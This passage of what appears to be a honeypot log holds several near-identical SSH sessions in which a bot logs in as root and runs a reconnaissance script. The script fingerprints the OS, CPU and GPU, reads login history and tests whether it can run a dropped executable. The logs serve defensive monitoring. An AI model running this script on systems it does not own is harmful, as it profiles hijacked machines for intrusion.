  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:30:19.994748+00:00",
  "ended_at": "2026-08-25T18:30:20.110036+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "df524334-ad01-4b3c-9bfd-8a9cdcc8a38c",
  "name": "fringed-hearty-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 54444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:28:36.815134+00:00",
  "ended_at": "2026-08-25T18:28:36.955802+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "dbca3434-e4bc-4aa7-a6aa-c1b6215f8d15",
  "name": "airy-steady-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 51500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:26:59.985492+00:00",
  "ended_at": "2026-08-25T18:27:00.081207+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6a541f7b-14b5-4ffa-8c5c-0387e5145d48",
  "name": "bronzed-steady-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 48526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:25:29.048936+00:00",
  "ended_at": "2026-08-25T18:25:29.143746+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9a3c768a-5f54-466b-b441-ef44d9f34373",
  "name": "reedy-graceful-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 45538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:23:59.030467+00:00",
  "ended_at": "2026-08-25T18:23:59.145540+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "77e10b90-78b8-4be0-b694-848ed93e4b20",
  "name": "murky-vaulted-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 42546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:22:29.921855+00:00",
  "ended_at": "2026-08-25T18:22:30.022747+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f89657d3-6f3a-4e07-a234-55ac786e41b2",
  "name": "inland-drifting-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 39546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null 